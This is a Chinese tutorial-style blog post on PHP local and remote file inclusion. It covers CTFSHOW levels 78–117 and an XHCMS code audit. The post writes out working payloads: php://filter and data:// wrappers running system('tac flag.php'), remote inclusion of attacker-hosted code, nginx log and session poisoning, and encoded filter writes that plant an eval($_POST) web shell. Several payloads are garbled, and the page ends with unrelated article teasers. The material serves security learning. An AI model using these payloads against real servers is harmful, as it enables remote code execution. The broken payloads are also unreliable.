小迪安全42WEB攻防-通用漏洞文件包含LFIRFI伪协议

2024-03-18 16:44

本文主要是介绍小迪安全42WEB攻防-通用漏洞文件包含LFIRFI伪协议,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

#知识点:
1、解释什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等


#核心知识:
1、本地包含LFI&远程包含RF1-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定

2、各类脚本语言包含代码写法见下文

<!-#include file="1.asp"-->
<!-#include file="top.aspx"->
<c:import url=http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?Php include(‘test.php’)?>

3、各类脚本语言包含伪协议玩法见图
https://www.cnblogs.com/endust/p/11804767.html

#思路要点:
黑盒发现:主要观察参数传递的数据和文件名是否对应

?X=文件名

白盒发现:
1、 可通过应用功能追踪代码定位审计
2、 可通过脚本特定函数搜索定位审计
3、 可通过伪协议玩法绕过相关修复等

#本课总结:
1、有可控文件如能上传文件,配合上传后包含

  1.  无可控文件可以利用日志或Session&伪协议

    3、代码固定目录及文件后缀时需考虑版本绕过
  2.  伪协议玩法是建立在代码中只有变量存在时

文件包含:

LFI(本地包含)和RFI(远程包含)

文件从哪儿来?

  1. 文件上传,上传至服务器(服务器会对脚本进行过滤,故大部分都是非脚本文件)
  2. 通过日志UA、session会话文件
  3. 伪协议(缺点:需要一定的条件:allow的配置需要开启,且处在当前的包含,不能有其它的干扰)

前置知识-原理&分类&探针&利用&修复

CTF应用-CTFSHOW-78关卡到117关卡


CMS源码-XHCMS-代码审计&日志&绕过

#前置知识原理&分类&探针&利用&修复

包含:也就相似与函数(文件)调用
实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件

  1. 每个需要过滤的地方,进行一次过滤的编写
  2. 每个需要过滤的地方,进行一次文件包含调用过滤函数

包含即使执行

攻击思路:

  1. 配合文件上传getshell,图片带有后门代码,包含这个图片,脚本代码就可以被触发
  2. 配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
  3. 配合会话文件进行getshell,session


#CTF应用-CTFSHOW-78关卡到117关卡

78-php&http协议

直接访问?Flag.php,发现无任何反应

那么就可能是要用伪协议了,由于我们不知道其他文件的路径,所以我们用不了file、zip等的伪协议

payload:php filter

?File=php://filter/read=convert.base64-encode/resource=flag.php

是一窜base64编码,解密即可

payload:php input

?file=php://input post:<?Php system('tac flag.php);?>

payload:远程包含

本地包含和远程包含的核心:是管理员的配置问题和代码问题

?File=php://www.xiaodi8.com/1.txt 

1.txt:<?php system(‘tac flag.php’);?>

Payload:Data协议

79data&http协议

从代码中,发现它对php进行了转义,这意味着php协议不能使用

因此可以使用data和远程协议等


payload: 

?file=data://text/plain,<?=system(‘tac flag.*’);?>

?file=data://text/plain;base64.PD9waHAgc3IzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: 

?File=http://www.xiaodi8.com/1.txt 

  1. txt: <?php system(‘tac flag.*’):?>

     

80 81-日志包含

80

这次把data和远程(测试)过滤了

1、 利用其他协议,如file zib等
2、 利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃:

之前用的system(‘flag.*’)——这个是调用了系统操作的

而对于路径是不存在的,会直接以flag.*为文件名


故利用日志记录UA信息, UA带入代码

通过数据包分析,中间件容器为nginx

包含: /var/log/nginx/access.log

抓包更改其数据包的UA头,使日志文件去执行<?php system(‘cat flag.*’)?>

81

它这里是多了个分号过滤

还是可以用日志文件

82-86-SESSIONE

https://www.cnblogs.com/echoDetected/p/13976405.html

session固定位置

因为session是可以进行更改的,所以就和日志UA有一样的思路

87-php://filter/write&加密编码

利用base64:

url编码2次: php//filter/write=convert.base64-decode/resource=123.php content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

因为考虑到urldecode,因此需要进行加密,从而去满足函数的要求,网页会第一次解密,函数会第二次解密,所以我们需要连续加密两次

2、利用凯撒13:

url编码2次: php://filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz('gnp.s*.cuc');?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtY2hvIDEyMZs/PmFK

117-php://filter/write&新的算法

Php没被过滤


convert.iconv.:-种过滤器,和使用iconv()函数处理流数据有等同作用!

<?php
  $result = iconv("UCS-2LE",”UCS-2BE". '<?php eval($S_ POST[a]);?>);

echo“经过一次反转:"。$result."\n";

echo“经过第二次反转:" .iconv("UCS-2LE","UCS-2BE",$result);

?>

Payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

#CMS源码-XHCMS-代码审计&日志&绕过

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

Index.php

它进行了伪协议的过滤

1.txt

但是在代码中,会对php进行解析,所以要加1.txt.php才会被解析

用日志文件也不行,会被直接加php

长度限制绕过:长度会把脚本的固定后缀给击破

这篇关于小迪安全42WEB攻防-通用漏洞文件包含LFIRFI伪协议的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/822969

相关文章

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

【Go】go连接clickhouse使用TCP协议

离开你是傻是对是错 是看破是软弱 这结果是爱是恨或者是什么 如果是种解脱 怎么会还有眷恋在我心窝 那么爱你为什么                      🎵 黄品源/莫文蔚《那么爱你为什么》 package mainimport ("context""fmt""log""time""github.com/ClickHouse/clickhouse-go/v2")func main(

2024.9.8 TCP/IP协议学习笔记

1.所谓的层就是数据交换的深度,电脑点对点就是单层,物理层,加上集线器还是物理层,加上交换机就变成链路层了,有地址表,路由器就到了第三层网络层,每个端口都有一个mac地址 2.A 给 C 发数据包,怎么知道是否要通过路由器转发呢?答案:子网 3.将源 IP 与目的 IP 分别同这个子网掩码进行与运算****,相等则是在一个子网,不相等就是在不同子网 4.A 如何知道,哪个设备是路由器?答案:在 A

Modbus-RTU协议

一、协议概述 Modbus-RTU(Remote Terminal Unit)是一种基于主从架构的通信协议,采用二进制数据表示,消息中的每个8位字节含有两个4位十六进制字符。它主要通过RS-485、RS-232、RS-422等物理接口实现数据的传输,传输距离远、抗干扰能力强、通信效率高。 二、报文结构 一个标准的Modbus-RTU报文通常包含以下部分: 地址域:单个字节,表示从站设备

企业安全之WiFi篇

很多的公司都没有安全团队,只有运维来负责整个公司的安全,从而安全问题也大打折扣。我最近一直在给各个公司做安全检测,就把自己的心得写下来,有什么不足之处还望补充。 0×01  无线安全 很多的公司都有不怎么注重公司的无线电安全,有钱的公司买设备,没钱的公司搞人力。但是人的技术在好,没有设备的辅助,人力在牛逼也没有个卵用。一个好的路由器、交换机、IDS就像你装备了 无尽、狂徒、杀人书一

Linux 安全弹出外接磁盘

命令行操作 首先,需要卸载硬盘上的所有分区,可以使用umount来卸载分区 清空系统缓存,将所有的数据写入磁盘 sync 列出已挂载的文件系统 使用lsblk或者df命令来查找要卸载的分区 lsblk or df -h 确保没有文件正在使用 使用lsof 命令来检查 sudo lsof |grep /dev/sdc 卸载分区 假设硬盘的分区是 /dev/sdc1,使用u